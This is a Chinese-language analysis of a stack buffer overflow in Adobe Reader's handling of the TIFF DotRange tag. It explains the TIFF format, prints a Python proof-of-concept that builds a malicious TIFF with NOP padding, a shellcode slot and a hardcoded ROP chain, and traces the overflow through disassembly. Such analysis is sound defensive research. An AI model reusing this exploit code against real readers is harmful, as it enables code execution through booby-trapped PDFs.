一,TIFF图像格式介绍
TIFF文件分为文件头IFH和IFD两部分。
IFH结构见下图:
共有8字节。其中
0-1 规定为“II”或“MM”,Intel/Mortorola类型的字节序列
2-3 TIFF版本号,为向下兼容,值为42
4-7 第一个IFD的偏移量
IFD结构见下图
IFD由连续存储的DE组成。
0-1 IFD中DE个数
2-13 第一个DE
14-25 第二个DE
……
1+12*DE数 下一个IFD相对于文件头的偏移量,若为NULL表示本IFD是最后一个。
DE由连续的12字节表示
0-1 tag指出该DE所表示的图像属性,在同一个IFD中,它总是递增的。
2-3 value的数据类型。
4-7 value的数据长度。
8-11 valueOffset偏移量。为了节省空间,如果此DE值长度不足4字节,就在valueOffset中直接存储。
下表列出了tag所表示的图像属性
标签名 标签的ID号(十进制)
ImageWidth 256
ImageLength 257
Compression 259
PhotometricInterpretation 262
StripOffsets 273
RowsPerStrip 278
StripByteCounts 279
XResolution 282
YResolution 283
ResolutionUnit 296
DotRange 336
以下列出了type各值的含义
1 = BYTE
2 = ASCII
3 = SHORT
4 = LONG
5 = RATIONAL
6 = SBYTE
7 = UNDEFINED
8 = SSHORT
9 = SLONG
10= SRATIONAL
11= FLOAT
12= DOUBLE
二,漏洞产生的原因
漏洞出在对DotRange属性的解析上。
DotRange一般为两个值,即DotRange[0]和DotRange[1]。DotRange标签是一个目录项结构,12字节的数据定义了该标签的TAG、数据类型,数据长度以及值偏移。通常情况下,DotRange的目录项结构是这个样子的:
TAG Type Length Value/Offset
0x0150 0x0003/0x0001 0x00000002 0xAAAAAAAA
其中属性应不超过2。当Length>2时,adobe reader在解析这个属性时,会根据offset的值,读取文件内容,造成栈溢出,最终执行shellcode。
查看PoC,可以看到PDF中嵌入的TIFF图像的结构。PoC中生成TIFF图像的代码如下
SHELLCODE_OFFSET = 0x555
TIFF_OFSET = 0x2038
def gen_tiff(self):
tiff = '\x49\x49\x2a\x00'
tiff += struct.pack("<L", TIFF_OFSET)
tiff += '\x90' * (SHELLCODE_OFFSET)
tiff += self.shellcode
tiff += '\x90' * (TIFF_OFSET - 8 - len(buf) - SHELLCODE_OFFSET)
# First IFD
tiff += "\x07\x00" #number of DE = 7
tiff += "\x00\x01\x03\x00\x01\x00\x00\x00\x30\x20\x00\x00" # ImageWidth
tiff += "\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00" # ImageHeigth
tiff += "\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00" # compression
tiff += "\x06\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00" # PhotometricInterpretation
tiff += "\x11\x01\x04\x00\x01\x00\x00\x00\x08\x00\x00\x00" # Stripoffset
tiff += "\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20\x00\x00" # stripbytecounts
tiff += "\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00" # Dot Range
# Next IFD: no more IFD
tiff += "\x00\x00\x00\x00"
# junk
tiff += "\x00\x0C\x0C\x08\x24\x01\x01\x00"
# start of ROP
tiff += "\xF7\x72\x00\x07\x04\x01"
tiff += "\x01\x00\xBB\x15\x00\x07\x00\x10\x00\x00\x4D\x15\x00\x07\xBB\x15"
tiff += "\x00\x07\x00\x03\xFE\x7F\xB2\x7F\x00\x07\xBB\x15\x00\x07\x11\x00"
tiff += "\x01\x00\xAC\xA8\x00\x07\xBB\x15\x00\x07\x00\x01\x01\x00\xAC\xA8"
tiff += "\x00\x07\xF7\x72\x00\x07\x11\x00\x01\x00\xE2\x52\x00\x07\x54\x5C"
tiff += "\x00\x07\xFF\xFF\xFF\xFF\x00\x01\x01\x00\x00\x00\x00\x00\x04\x01"
tiff += "\x01\x00\x00\x10\x00\x00\x40\x00\x00\x00\x31\xD7\x00\x07\xBB\x15"
tiff += "\x00\x07\x5A\x52\x6A\x02\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x58\xCD\x2E\x3C\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x05\x5A\x74\xF4\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xB8\x49\x49\x2A\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x00\x8B\xFA\xAF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x75\xEA\x87\xFE\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xEB\x0A\x5F\xB9\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xE0\x03\x00\x00\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xF3\xA5\xEB\x09\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xE8\xF1\xFF\xFF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xFF\x90\x90\x90\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xFF\xFF\xFF\x90\x4D\x15\x00\x07\x31\xD7\x00\x07\x2F\x11"
tiff += "\x00\x07"
return tiff
首先是文件头,\x49\x49\x2a\x00,表示Intel字节序列,即Little-Endian。
然后是第一个IFD的偏移量,\x38\x20。
然后是用\x90填充,接着放置shellcode,然后又是\x90填充。
接下来就是第一个IFD结构,前两个字节表示有7个DE结构,接着依次是7个DE结构的具体内容。
IFD结构后面是4个\x00,表示只有一个IFD结构。
紧接着是8字节的junk数据(后面会说为什么有这8个字节),然后就是ROP链。
需要注意的是第7个DE结构。
\x50\x01 \x03\x00 \xCC\x00\x00\x00 \x92\x20\x00\x00 # DotRange
其中红色的部分就是DotRange的长度,设置成了0xCC>2。加粗部分是偏移量,为0x2092,刚好是junk数据相对于文件头的偏移量。
三、程序流程分析
分析后可以发现此漏洞与CVE-2006-3459如出一辙,可以下载tif_dirread.c文件对比分析。
其中函数的调用关系如下图:
TIFFReadDirectory()中调用TIFFFetchShortPair()的语句如下:
case TIFFTAG_PAGENUMBER:
case TIFFTAG_HALFTONEHINTS:
case TIFFTAG_YCBCRSUBSAMPLING:
case TIFFTAG_DOTRANGE:
(void) TIFFFetchShortPair(tif, dp);
break;
AcroForm!DllUnregisterServer+0x49f8af处,为TIFFFetchShortPair()的入口,汇编如下
.text:20CB59F7 push ebp
.text:20CB59F8 mov ebp, esp
.text:20CB59FA push ecx
.text:20CB59FB movzx eax, word ptr [esi+2] ; get the type of DE
.text:20CB59FF dec eax
.text:20CB5A00 jz short loc_20CB5A2A ; TIFF_BYTE
.text:20CB5A02 dec eax
.text:20CB5A03 dec eax
.text:20CB5A04 jz short loc_20CB5A0F ; TIFF_SHORT
.text:20CB5A06 sub eax, 3
.text:20CB5A09 jz short loc_20CB5A2A ; TIFF_SBYTE
.text:20CB5A0B dec eax
.text:20CB5A0C dec eax
.text:20CB5A0D jnz short loc_20CB5A5A ; TIFF_SSHORT
可以看到,程序一开始申请了4字节的局部变量(push ecx),然后取DE的type,接下来是对其进行比较,然后跳转到处理函数。DotRange的type为3(TIFF_SHORT),会跳转到loc_20CB5A0F。
.text:20CB5A0F lea eax, [ebp+var_4]
.text:20CB5A12 mov ecx, esi
.text:20CB5A14 mov edx, edi
.text:20CB5A16 call loc_20CB59A0 ; call TIFFFetchShortArray()
对应C代码为:
uint16 v[2];
int ok = 0;
switch (dir->tdir_type) {
case TIFF_SHORT:
case TIFF_SSHORT:
ok = TIFFFetchShortArray(tif, dir, v);
break;
case TIFF_BYTE:
case TIFF_SBYTE:
ok = TIFFFetchByteArray(tif, dir, v);
break;
}
注意uint16 v[2];就是申请的局部变量,总共4个字节。
loc_20CB59A0处,就是TIFFFetchShortArray()函数的入口,如下
.text:20CB59A0 push ebx
.text:20CB59A1 push esi
.text:20CB59A2 mov esi, ecx
.text:20CB59A4 mov ecx, [esi+4] ; length = 0xCC
.text:20CB59A7 cmp ecx, 2
.text:20CB59AA mov ebx, edx
.text:20CB59AC ja short loc_20CB59E7
比较length与2,不小于则跳转到loc_20CB59E7;
.text:20CB59E7 push eax ; v
.text:20CB59E8 call sub_20CB56A5 ; call TIFFFetchData()
将上面申请的局部变量v作为参数,调用TIFFFetchData()。对应C代码如下
if (dir->tdir_count <= 2) {
...
} else
return (TIFFFetchData(tif, dir, (char *)v) != 0);
TIFFFetchData()的C代码为
TIFFFetchData(TIFF* tif, TIFFDirEntry* dir, char* cp)
{
int w = tiffDataWidth[dir->tdir_type];
tsize_t cc = dir->tdir_count * w;
if (!isMapped(tif)) {
if (!SeekOK(tif, dir->tdir_offset))
goto bad;
if (!ReadOK(tif, cp, cc))
goto bad;
} else {
if (dir->tdir_offset + cc > tif->tif_size)
goto bad;
_TIFFmemcpy(cp, tif->tif_base + dir->tdir_offset, cc);
}
......
}
其中cp为TIFFFetchShortPair()函数中申请的局部变量 uint16 v[2];,tif->tif_base + dir->tdir_offset是DotRange中存储的偏移量,即junk的起始处。8个字节的junk会刚好将栈中的局部变量v(4个字节)和ebp填充,从而将TIFFFetchShortPair()函数的返回地址覆盖为rop链。
这里就是调用_TIFFmemcpy()函数了。
.text:20CB56F1 push edi ; n
.text:20CB56F2 push [ebp+Dst] ; dest
.text:20CB56F5 push dword ptr [ebx+194h] ; src
.text:20CB56FB call dword ptr [ebx+198h]
进入_TIFFmemcpy()后,再经过一系列处理,来到这里
209D4572 |. 57 |PUSH EDI ; /n
209D4573 |. 03C1 |ADD EAX,ECX ; |
209D4575 |. 50 |PUSH EAX ; |src
209D4576 |. FF75 08 |PUSH DWORD PTR SS:[EBP+8] ; |dest
209D4579 |. E8 70E1E2FF |CALL <JMP.&MSVCR80.memcpy> ; \memcpy
这儿就是真正调用memcpy函数覆盖栈了。
接下来函数层层返回,直到AcroForm!DllUnregisterServer+0x49f915,这儿就是TIFFFetchShortPair()函数返回的地方,之后程序就转入ROP链,进而执行shellcode。